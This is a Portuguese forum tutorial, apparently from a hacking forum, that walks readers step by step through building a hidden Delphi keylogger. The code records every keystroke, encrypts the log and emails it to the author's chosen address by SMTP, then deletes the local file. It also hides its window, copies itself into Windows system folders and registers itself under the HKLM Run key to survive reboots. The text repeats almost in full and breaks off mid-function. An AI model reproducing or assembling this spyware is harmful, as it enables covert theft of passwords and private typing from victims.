Bom galera, eu sei que existem vários tutoriais que explicam sobre isso, mais eu estarei fazendo um MEU mesmo, exclusivo para a Forum
--
Vamos começar então, primeiramente irei falar oque nosso keylogger irá fazer:(os nomes cujo eu puis, é apenas para dar um toque mais bonitinho)
• AutoCopy - Se copiar automaticamente para vários locais do sistema
• AutoRun - Iniciar automaticamente, junto ao Windows
• Log's Save, Send and delet- Irá salvar os log's, envia-los e deletar
• Shutdown detect - Detecta quando o computador será desligado, sendo assim, nao perdendo o último LOG que fora feito
• Criptografar Log's - Vamos criptografar os Log's, deixando com que apenas você consiga abri-los
--
Bom pode parecer difícil, e sim é um pouco complicado mesmo, mais não é impossível, então vamos por a mão na massa
OBS: EU NÃO ESTAREI EXPLICANDO COMO DEIXAR O KEYLOGGER INDETECT, ESSA PARTE SERÁ COM VOCÊS !
OBS²: EU AINDA NAO SOU TOTALMENTE PRO EM DELPHI, ENTÃO ESTAREI USANDO COISAS DESNECESSARIAS PARA QUEM MANJA, MAIS BASTA IR APERFEIÇOANDO DO SEU JEITO.
--
**Todos que estiverem com o * na frente, quer dizer que é opcional
***Os que possuem ''//'' é que explica o motivo de ser opcional o próximo/ele mesmo
O que usaremos?
2 memos
•Memo 1 = Log
•Memo 2 = Log Criptografado
4 Times(um opcional)
• Time 1 = Irá pegar o que está sendo digitado
• Time 2 = I´rá criptografar oque está no Memo1 e irá mandar para o Memo2
• Time 3 = Irá Salvar o LOG //Este mesmo timer poderá enviar o LOG, mais estarei explicando com o time opcional.
*•Time 4 = Irá enviar o LOG
Enviar os Logs usaremos:
1 - idSMTP
1 - idMessage
Isso serão as unicas coisas necessarias para nosso keyLogger [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Vamos aos códigos então:
--
Primeiramente, coloque as seguintes funções:
Function Crypt(Action, Src: String): String;
Label Fim;
var KeyLen : Integer;
KeyPos : Integer;
OffSet : Integer;
Dest, Key : String;
SrcPos : Integer;
SrcAsc : Integer;
TmpSrcAsc : Integer;
Range : Integer;
begin
if (Src = '') Then
begin
Result:= '';
Goto Fim;
end;
Key := 'YUQL23KL23DF90WI5E1JAS467NMCXXL6JAOAUWWMCL0AOMM4A4VZYW9KHJUI2347EJHJKDF3424S
KLK3LAKDJSL9RTIKJ';
Dest := '';
KeyLen := Length(Key);
KeyPos := 0;
SrcPos := 0;
SrcAsc := 0;
Range := 256;
if (Action = UpperCase('C')) then
begin
Randomize;
OffSet := Random(Range);
Dest := Format('%1.2x',[OffSet]);
for SrcPos := 1 to Length(Src) do
begin
Application.ProcessMessages;
SrcAsc := (Ord(Src[SrcPos]) + OffSet) Mod 255;
if KeyPos < KeyLen then KeyPos := KeyPos + 1 else KeyPos := 1;
SrcAsc := SrcAsc Xor Ord(Key[KeyPos]);
Dest := Dest + Format('%1.2x',[SrcAsc]);
OffSet := SrcAsc;
end;
end
Else if (Action = UpperCase('D')) then
begin
OffSet := StrToInt('$'+ copy(Src,1,2));
SrcPos := 3;
repeat
SrcAsc := StrToInt('$'+ copy(Src,SrcPos,2));
if (KeyPos < KeyLen) Then KeyPos := KeyPos + 1 else KeyPos := 1;
TmpSrcAsc := SrcAsc Xor Ord(Key[KeyPos]);
if TmpSrcAsc <= OffSet then TmpSrcAsc := 255 + TmpSrcAsc - OffSet
else TmpSrcAsc := TmpSrcAsc - OffSet;
Dest := Dest + Chr(TmpSrcAsc);
OffSet := SrcAsc;
SrcPos := SrcPos + 2;
until (SrcPos >= Length(Src));
end;
Result:= Dest;
Fim:
end;
Explicação: Essa function servirá para criptografar nosso LOG
--
Vamos pegar o Timer 1 e mudar seu Interval para: 1
Agora dê duplo clique sobre o Timer 1 e coloque o seguinte código:
var
i : byte;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
8 : memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
9 : memo1.text:=memo1.text+'[Tab]';
13 : memo1.text:=memo1.text+#13#10; //Enter
17 : memo1.text:=memo1.text+'[Ctrl]';
27 : memo1.text:=memo1.text+'[Esc]';
32 :memo1.text:=memo1.text+' '; //Space
// Del,Ins,Home,PageUp,PageDown,End
33 : memo1.text := Memo1.text + '[Page Up]';
34 : memo1.text := Memo1.text + '[Page Down]';
35 : memo1.text := Memo1.text + '[End]';
36 : memo1.text := Memo1.text + '[Home]';
//Arrow Up Down Left Right
37 : memo1.text := Memo1.text + '[Left]';
38 : memo1.text := Memo1.text + '[Up]';
39 : memo1.text := Memo1.text + '[Right]';
40 : memo1.text := Memo1.text + '[Down]';
44 : memo1.text := Memo1.text + '[Print Screen]';
45 : memo1.text := Memo1.text + '[Insert]';
46 : memo1.text := Memo1.text + '[Del]';
145 : memo1.text := Memo1.text + '[Scroll Lock]';
//Numeros 1234567890 Simbolos !@#$%^&*()
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
else memo1.text:=memo1.text+'0';
49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
else memo1.text:=memo1.text+'1';
50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
else memo1.text:=memo1.text+'2';
51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
else memo1.text:=memo1.text+'3';
52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
else memo1.text:=memo1.text+'4';
53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
else memo1.text:=memo1.text+'5';
54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'6';
55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
else memo1.text:=memo1.text+'7';
56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'8';
57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
else memo1.text:=memo1.text+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
else
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
end;
//Numpad
96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad 0..9
106:memo1.text:=memo1.text+'*';
107:memo1.text:=memo1.text+'&';
109:memo1.text:=memo1.text+'-';
110:memo1.text:=memo1.text+'.';
111:memo1.text:=memo1.text+'/';
144 : memo1.text:=memo1.text+'[Num Lock]';
112..123: //F1-F12
memo1.text:=memo1.text+'[F'+IntToStr(i - 111)+']';
186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+';';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
else memo1.text:=memo1.text+'=';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
else memo1.text:=memo1.text+'/';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
else memo1.text:=memo1.text+'`';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
else memo1.text:=memo1.text+'[';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
else memo1.text:=memo1.text+'';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
else memo1.text:=memo1.text+']';
222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
else memo1.text:=memo1.text+'''';
end;
end;
end;
Pronto, agora nosso KeyLogger já está pegando tudo que digita, meu Deus que emoção *--*
Vamos continuar então [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
--
Vamos pegar agora o timer 2, que irá criptografar nosso LOG [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Neste timer, vamos colocar um Interval aproximado do que irá salvar o LOG, suponhamos qué irá salvar de 1 em 1 minuto, vamos colocar para criptgrafar um milisegundo antes [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Então para criptografar coloque o seguinte código:
memo2.text:= Crypt('C',memo1.text);
//Eu estarei explicando depois como vamos fazer para desincriptar
--
Vamos ao próximo timer - O de Salvar, vamos fazer o seguinte, invez de colocar um tempo imensamente gigantesco para que o LOG seja enviado, que tal fazer com que ele envie logo depois do arquivo já existir?
Como assim? o.o
Bom você irá entender, adicione mais um timer (no qual seria o 5)
Vamos agora para o código do 3º Timer:
memo2.lines.savetofile('DIRETORIO ONDE IRA SALVAR');
Pronto, agora vamos pegar o 5 e o 4 timer, o timer 4 coloque seu ''Enabledd'' como false, coloque o Interval do 4 e do 5 em 1
Agora coloque o seguinte código para o timer 5:
if FileExists('DIRETORIO DO ARQUIVO DE LOG') then
timer4.enabled:=true
else
timer4.enabled:=false;
Explicação: Bom quando o LOG for salvo, e o timer 5 detectar o arquivo, o LOG imediatamente será enviado [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Vamos então ao útlimo Timer, o que irá enviar os LOG's:
with idMessage1 do
begin
TIdAttachment.Create(IdMessage1.MessageParts, 'DIRETORIO DO ARQUIVO LOG');
From.Text := 'EMAIL QUE ENVIA OS LOGS'; //E-mail que envia os logs
Recipients.EMailAddresses := EMAIL QUE IRÁ RECEBER; //E-mail que recebe os logs
Subject := 'ASSUNTO'; // Assunto
IdSMTP1.AuthenticationType := atlogin; //Requer login //NAO MEXER
IdSMTP1.Username := 'O MESMO EMAIL QUE ENVIA'; //Nome de usuario
IdSMTP1.Password := 'A SENHA DO EMAIL QUE ENVIA'; //Senha
IdSMTP1.Host := 'SMTP DO EMAIL'; //Server SMTP
IdSMTP1.Connect; //Conecta
try
IdSMTP1.Send(idMessage1); //Envia
finally
IdSMTP1.Disconnect; //Disconecta
deletefile('DIRETORIO DO LOG');
timer4.enabled:=false;
end;
end;
EXplicação: Esse timer apenas irá enviar o arquivo LOG criptografado para o seu email em anexo.
Lembre-se de editar as áreas corretamentes.
Bom galera, a primeira parte já foi, a que seria de capturar tudo que é digitado, e enviar por e-mail, agora vamos deixar o arquivo Invisivel(não mostrar a form), iniciar com o windows, detectar quando o pc deliga, etc.
Primeiramente, vamos a parte de ''invisibilidade''
Clique em Project/View Source
Após a seguinte linha: Application.Initialize;
Adicione: Application.ShowMainForm := false;
Explicação: Irá fazer com que o projeto não exiba o MainForm
Como irá ficar?
Deverá ficar parecido com isso:
Application.Initialize;
Application.ShowMainForm := false;
Application.CreateForm(TForm1, Form1);
Application.Run;
Pronto, o seu projeto já está ''invisivel'', vamos fazer com que ele inicia com o Windows e faça copias de si mesmo
No Evento OnCreate do Form coloque o seguinte código:
var
a,s : string;
begin
a := Application.ExeName;
CopyFile(Pchar(a), Pchar('C:\Windows\System\NOME QUE VOCÊ QUER.exe'),false);
s:= 'C:\Windows\System32\MESMO NOME DO PRIMEIRO.exe'
Reg:=TRegIniFile.Create('full');
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.Openkey ('\Software\Microsoft\Windows\CurrentVersion',false);
reg.WriteString('Run', 'O NOME DO PRIMEIRO, SEM EXTENSÃO', s);
Explicação: Irá iniciar com o Windows
AutoCopy
Apenas coloque após a última linha '' reg.WriteString('Run', 'O NOME DO PRIMEIRO, SEM EXTENSÃO', s);'' o seguinte:
CopyFile(Pchar(a), Pchar('NOVO DIRETORIO'),false);
Vá colocando quantas cópias você desejar [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
--
Vamos então agora, para a parte final, a detectação do desligamento do PC para que não perca os LOG's
primeiramente vá na seção private da declaração de classe na unit do form principal e digite a seguinte linha:
procedure WMEndSession (var Msg : TWMEndSession); message WM_ENDSESSION;
Agora, após a linha implementation da unit coloque o seguinte:
procedure TNomeDoForm.WMEndSession (var Msg : TWMEndSession);
begin
if Msg.EndSession = TRUE then
memo2.lines.savetofile('DIRETORIO QUE SALVA OS LOG's);
inherited;
end;
Pronto, agora dê F9 e seu KL está pronto [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Bom espero que alguem entenda o tutorial e que ajude alguem que estava com alguma dúvida ^^
Mais ainda não terminamos não é?
Falta ainda o sistema de desincriptografação(eu não sei digitar essa palavra, mais vocês entenderam)
Va em New/Application, adicione 2 Memo 2 buttons e um OpenDialog
Coloque a seguinte função:
Function Crypt(Action, Src: String): String;
Label Fim;
var KeyLen : Integer;
KeyPos : Integer;
OffSet : Integer;
Dest, Key : String;
SrcPos : Integer;
SrcAsc : Integer;
TmpSrcAsc : Integer;
Range : Integer;
begin
if (Src = '') Then
begin
Result:= '';
Goto Fim;
end;
Key := 'YUQL23KL23DF90WI5E1JAS467NMCXXL6JAOAUWWMCL0AOMM4A4VZYW9KHJUI2347EJHJKDF3424S
KLK3LAKDJSL9RTIKJ';
Dest := '';
KeyLen := Length(Key);
KeyPos := 0;
SrcPos := 0;
SrcAsc := 0;
Range := 256;
if (Action = UpperCase('C')) then
begin
Randomize;
OffSet := Random(Range);
Dest := Format('%1.2x',[OffSet]);
for SrcPos := 1 to Length(Src) do
begin
Application.ProcessMessages;
SrcAsc := (Ord(Src[SrcPos]) + OffSet) Mod 255;
if KeyPos < KeyLen then KeyPos := KeyPos + 1 else KeyPos := 1;
SrcAsc := SrcAsc Xor Ord(Key[KeyPos]);
Dest := Dest + Format('%1.2x',[SrcAsc]);
OffSet := SrcAsc;
end;
end
Else if (Action = UpperCase('D')) then
begin
OffSet := StrToInt('$'+ copy(Src,1,2));
SrcPos := 3;
repeat
SrcAsc := StrToInt('$'+ copy(Src,SrcPos,2));
if (KeyPos < KeyLen) Then KeyPos := KeyPos + 1 else KeyPos := 1;
TmpSrcAsc := SrcAsc Xor Ord(Key[KeyPos]);
if TmpSrcAsc <= OffSet then TmpSrcAsc := 255 + TmpSrcAsc - OffSet
else TmpSrcAsc := TmpSrcAsc - OffSet;
Dest := Dest + Chr(TmpSrcAsc);
OffSet := SrcAsc;
SrcPos := SrcPos + 2;
until (SrcPos >= Length(Src));
end;
Result:= Dest;
Fim:
end;
No button 1 coloque o seguinte codigo:
begin
if Opendialog1.Execute then
begin
memo1.Lines.LoadFromFile(opendialog1.FileName);
Explicação: Irá carregar o LOG no Memo1
Agora no button2 coloque o seguinte código:
memo2.text:= Crypt('D',memo1.text);
Explicação: Irá Descriptografar o LOG dando a possibilidade de voce o ler [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Bom é básicamente isso, espero que tenham gostado ^^
Agora vou durmir e descançar meus dedos xD
Abraços...
Créditos: KyuR(pelo tópico+tutorial)
--
Vamos começar então, primeiramente irei falar oque nosso keylogger irá fazer:(os nomes cujo eu puis, é apenas para dar um toque mais bonitinho)
• AutoCopy - Se copiar automaticamente para vários locais do sistema
• AutoRun - Iniciar automaticamente, junto ao Windows
• Log's Save, Send and delet- Irá salvar os log's, envia-los e deletar
• Shutdown detect - Detecta quando o computador será desligado, sendo assim, nao perdendo o último LOG que fora feito
• Criptografar Log's - Vamos criptografar os Log's, deixando com que apenas você consiga abri-los
--
Bom pode parecer difícil, e sim é um pouco complicado mesmo, mais não é impossível, então vamos por a mão na massa
OBS: EU NÃO ESTAREI EXPLICANDO COMO DEIXAR O KEYLOGGER INDETECT, ESSA PARTE SERÁ COM VOCÊS !
OBS²: EU AINDA NAO SOU TOTALMENTE PRO EM DELPHI, ENTÃO ESTAREI USANDO COISAS DESNECESSARIAS PARA QUEM MANJA, MAIS BASTA IR APERFEIÇOANDO DO SEU JEITO.
--
**Todos que estiverem com o * na frente, quer dizer que é opcional
***Os que possuem ''//'' é que explica o motivo de ser opcional o próximo/ele mesmo
O que usaremos?
2 memos
•Memo 1 = Log
•Memo 2 = Log Criptografado
4 Times(um opcional)
• Time 1 = Irá pegar o que está sendo digitado
• Time 2 = I´rá criptografar oque está no Memo1 e irá mandar para o Memo2
• Time 3 = Irá Salvar o LOG //Este mesmo timer poderá enviar o LOG, mais estarei explicando com o time opcional.
*•Time 4 = Irá enviar o LOG
Enviar os Logs usaremos:
1 - idSMTP
1 - idMessage
Isso serão as unicas coisas necessarias para nosso keyLogger [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Vamos aos códigos então:
--
Primeiramente, coloque as seguintes funções:
Function Crypt(Action, Src: String): String;
Label Fim;
var KeyLen : Integer;
KeyPos : Integer;
OffSet : Integer;
Dest, Key : String;
SrcPos : Integer;
SrcAsc : Integer;
TmpSrcAsc : Integer;
Range : Integer;
begin
if (Src = '') Then
begin
Result:= '';
Goto Fim;
end;
Key := 'YUQL23KL23DF90WI5E1JAS467NMCXXL6JAOAUWWMCL0AOMM4A4VZYW9KHJUI2347EJHJKDF3424S
KLK3LAKDJSL9RTIKJ';
Dest := '';
KeyLen := Length(Key);
KeyPos := 0;
SrcPos := 0;
SrcAsc := 0;
Range := 256;
if (Action = UpperCase('C')) then
begin
Randomize;
OffSet := Random(Range);
Dest := Format('%1.2x',[OffSet]);
for SrcPos := 1 to Length(Src) do
begin
Application.ProcessMessages;
SrcAsc := (Ord(Src[SrcPos]) + OffSet) Mod 255;
if KeyPos < KeyLen then KeyPos := KeyPos + 1 else KeyPos := 1;
SrcAsc := SrcAsc Xor Ord(Key[KeyPos]);
Dest := Dest + Format('%1.2x',[SrcAsc]);
OffSet := SrcAsc;
end;
end
Else if (Action = UpperCase('D')) then
begin
OffSet := StrToInt('$'+ copy(Src,1,2));
SrcPos := 3;
repeat
SrcAsc := StrToInt('$'+ copy(Src,SrcPos,2));
if (KeyPos < KeyLen) Then KeyPos := KeyPos + 1 else KeyPos := 1;
TmpSrcAsc := SrcAsc Xor Ord(Key[KeyPos]);
if TmpSrcAsc <= OffSet then TmpSrcAsc := 255 + TmpSrcAsc - OffSet
else TmpSrcAsc := TmpSrcAsc - OffSet;
Dest := Dest + Chr(TmpSrcAsc);
OffSet := SrcAsc;
SrcPos := SrcPos + 2;
until (SrcPos >= Length(Src));
end;
Result:= Dest;
Fim:
end;
Explicação: Essa function servirá para criptografar nosso LOG
--
Vamos pegar o Timer 1 e mudar seu Interval para: 1
Agora dê duplo clique sobre o Timer 1 e coloque o seguinte código:
var
i : byte;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
8 : memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
9 : memo1.text:=memo1.text+'[Tab]';
13 : memo1.text:=memo1.text+#13#10; //Enter
17 : memo1.text:=memo1.text+'[Ctrl]';
27 : memo1.text:=memo1.text+'[Esc]';
32 :memo1.text:=memo1.text+' '; //Space
// Del,Ins,Home,PageUp,PageDown,End
33 : memo1.text := Memo1.text + '[Page Up]';
34 : memo1.text := Memo1.text + '[Page Down]';
35 : memo1.text := Memo1.text + '[End]';
36 : memo1.text := Memo1.text + '[Home]';
//Arrow Up Down Left Right
37 : memo1.text := Memo1.text + '[Left]';
38 : memo1.text := Memo1.text + '[Up]';
39 : memo1.text := Memo1.text + '[Right]';
40 : memo1.text := Memo1.text + '[Down]';
44 : memo1.text := Memo1.text + '[Print Screen]';
45 : memo1.text := Memo1.text + '[Insert]';
46 : memo1.text := Memo1.text + '[Del]';
145 : memo1.text := Memo1.text + '[Scroll Lock]';
//Numeros 1234567890 Simbolos !@#$%^&*()
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
else memo1.text:=memo1.text+'0';
49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
else memo1.text:=memo1.text+'1';
50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
else memo1.text:=memo1.text+'2';
51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
else memo1.text:=memo1.text+'3';
52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
else memo1.text:=memo1.text+'4';
53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
else memo1.text:=memo1.text+'5';
54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'6';
55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
else memo1.text:=memo1.text+'7';
56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'8';
57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
else memo1.text:=memo1.text+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
else
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
end;
//Numpad
96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad 0..9
106:memo1.text:=memo1.text+'*';
107:memo1.text:=memo1.text+'&';
109:memo1.text:=memo1.text+'-';
110:memo1.text:=memo1.text+'.';
111:memo1.text:=memo1.text+'/';
144 : memo1.text:=memo1.text+'[Num Lock]';
112..123: //F1-F12
memo1.text:=memo1.text+'[F'+IntToStr(i - 111)+']';
186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+';';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
else memo1.text:=memo1.text+'=';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
else memo1.text:=memo1.text+'/';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
else memo1.text:=memo1.text+'`';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
else memo1.text:=memo1.text+'[';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
else memo1.text:=memo1.text+'';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
else memo1.text:=memo1.text+']';
222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
else memo1.text:=memo1.text+'''';
end;
end;
end;
Pronto, agora nosso KeyLogger já está pegando tudo que digita, meu Deus que emoção *--*
Vamos continuar então [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
--
Vamos pegar agora o timer 2, que irá criptografar nosso LOG [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Neste timer, vamos colocar um Interval aproximado do que irá salvar o LOG, suponhamos qué irá salvar de 1 em 1 minuto, vamos colocar para criptgrafar um milisegundo antes [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Então para criptografar coloque o seguinte código:
memo2.text:= Crypt('C',memo1.text);
//Eu estarei explicando depois como vamos fazer para desincriptar
--
Vamos ao próximo timer - O de Salvar, vamos fazer o seguinte, invez de colocar um tempo imensamente gigantesco para que o LOG seja enviado, que tal fazer com que ele envie logo depois do arquivo já existir?
Como assim? o.o
Bom você irá entender, adicione mais um timer (no qual seria o 5)
Vamos agora para o código do 3º Timer:
memo2.lines.savetofile('DIRETORIO ONDE IRA SALVAR');
Pronto, agora vamos pegar o 5 e o 4 timer, o timer 4 coloque seu ''Enabledd'' como false, coloque o Interval do 4 e do 5 em 1
Agora coloque o seguinte código para o timer 5:
if FileExists('DIRETORIO DO ARQUIVO DE LOG') then
timer4.enabled:=true
else
timer4.enabled:=false;
Explicação: Bom quando o LOG for salvo, e o timer 5 detectar o arquivo, o LOG imediatamente será enviado [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Vamos então ao útlimo Timer, o que irá enviar os LOG's:
with idMessage1 do
begin
TIdAttachment.Create(IdMessage1.MessageParts, 'DIRETORIO DO ARQUIVO LOG');
From.Text := 'EMAIL QUE ENVIA OS LOGS'; //E-mail que envia os logs
Recipients.EMailAddresses := EMAIL QUE IRÁ RECEBER; //E-mail que recebe os logs
Subject := 'ASSUNTO'; // Assunto
IdSMTP1.AuthenticationType := atlogin; //Requer login //NAO MEXER
IdSMTP1.Username := 'O MESMO EMAIL QUE ENVIA'; //Nome de usuario
IdSMTP1.Password := 'A SENHA DO EMAIL QUE ENVIA'; //Senha
IdSMTP1.Host := 'SMTP DO EMAIL'; //Server SMTP
IdSMTP1.Connect; //Conecta
try
IdSMTP1.Send(idMessage1); //Envia
finally
IdSMTP1.Disconnect; //Disconecta
deletefile('DIRETORIO DO LOG');
timer4.enabled:=false;
end;
end;
EXplicação: Esse timer apenas irá enviar o arquivo LOG criptografado para o seu email em anexo.
Lembre-se de editar as áreas corretamentes.
Bom galera, a primeira parte já foi, a que seria de capturar tudo que é digitado, e enviar por e-mail, agora vamos deixar o arquivo Invisivel(não mostrar a form), iniciar com o windows, detectar quando o pc deliga, etc.
Primeiramente, vamos a parte de ''invisibilidade''
Clique em Project/View Source
Após a seguinte linha: Application.Initialize;
Adicione: Application.ShowMainForm := false;
Explicação: Irá fazer com que o projeto não exiba o MainForm
Como irá ficar?
Deverá ficar parecido com isso:
Application.Initialize;
Application.ShowMainForm := false;
Application.CreateForm(TForm1, Form1);
Application.Run;
Pronto, o seu projeto já está ''invisivel'', vamos fazer com que ele inicia com o Windows e faça copias de si mesmo
No Evento OnCreate do Form coloque o seguinte código:
var
a,s : string;
begin
a := Application.ExeName;
CopyFile(Pchar(a), Pchar('C:\Windows\System\NOME QUE VOCÊ QUER.exe'),false);
s:= 'C:\Windows\System32\MESMO NOME DO PRIMEIRO.exe'
Reg:=TRegIniFile.Create('full');
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.Openkey ('\Software\Microsoft\Windows\CurrentVersion',false);
reg.WriteString('Run', 'O NOME DO PRIMEIRO, SEM EXTENSÃO', s);
Explicação: Irá iniciar com o Windows
AutoCopy
Apenas coloque após a última linha '' reg.WriteString('Run', 'O NOME DO PRIMEIRO, SEM EXTENSÃO', s);'' o seguinte:
CopyFile(Pchar(a), Pchar('NOVO DIRETORIO'),false);
Vá colocando quantas cópias você desejar [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
--
Vamos então agora, para a parte final, a detectação do desligamento do PC para que não perca os LOG's
primeiramente vá na seção private da declaração de classe na unit do form principal e digite a seguinte linha:
procedure WMEndSession (var Msg : TWMEndSession); message WM_ENDSESSION;
Agora, após a linha implementation da unit coloque o seguinte:
procedure TNomeDoForm.WMEndSession (var Msg : TWMEndSession);
begin
if Msg.EndSession = TRUE then
memo2.lines.savetofile('DIRETORIO QUE SALVA OS LOG's);
inherited;
end;
Pronto, agora dê F9 e seu KL está pronto [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Bom espero que alguem entenda o tutorial e que ajude alguem que estava com alguma dúvida ^^
Mais ainda não terminamos não é?
Falta ainda o sistema de desincriptografação(eu não sei digitar essa palavra, mais vocês entenderam)
Va em New/Application, adicione 2 Memo 2 buttons e um OpenDialog
Coloque a seguinte função:
Function Crypt(Action, Src: String): String;
Label Fim;
var KeyLen : Integer;
KeyPos : Integer;
OffSet : Integer;
Dest, Key : String;
SrcPos : Integer;
SrcAsc : Integer;
TmpSrcAsc : Integer;
Range : Integer;
begin
if (Src = '') Then
begin
Result:= '';
Goto Fim;
end;
Key := 'YUQL23KL23DF90WI5E1JAS467NMCXXL6JAOAUWWMCL0AOMM4A4VZYW9KHJUI2347EJHJKDF3424S
KLK3LAKDJSL9RTIKJ';
Dest := '';
KeyLen := Length(Key);
KeyPos := 0;
SrcPos := 0;
SrcAsc := 0;
Range := 256;
if (Action = UpperCase('C')) then
begin
Randomize;
OffSet := Random(Range);
Dest := Format('%1.2x',[OffSet]);
for SrcPos := 1 to Length(Src) do
begin
Application.ProcessMessages;
SrcAsc := (Ord(Src[SrcPos]) + OffSet) Mod 255;
if KeyPos < KeyLen then KeyPos := KeyPos + 1 else KeyPos := 1;
SrcAsc := SrcAsc Xor Ord(Key[KeyPos]);
Dest := Dest + Format('%1.2x',[SrcAsc]);
OffSet := SrcAsc;
end;
end
Else if (Action = UpperCase('D')) then
begin
OffSet := StrToInt('$'+ copy(Src,1,2));
SrcPos := 3;
repeat
SrcAsc := StrToInt('$'+ copy(Src,SrcPos,2));
if (KeyPos < KeyLen) Then KeyPos := KeyPos + 1 else KeyPos := 1;
TmpSrcAsc := SrcAsc Xor Ord(Key[KeyPos]);
if TmpSrcAsc <= OffSet then TmpSrcAsc := 255 + TmpSrcAsc - OffSet
else TmpSrcAsc := TmpSrcAsc - OffSet;
Dest := Dest + Chr(TmpSrcAsc);
OffSet := SrcAsc;
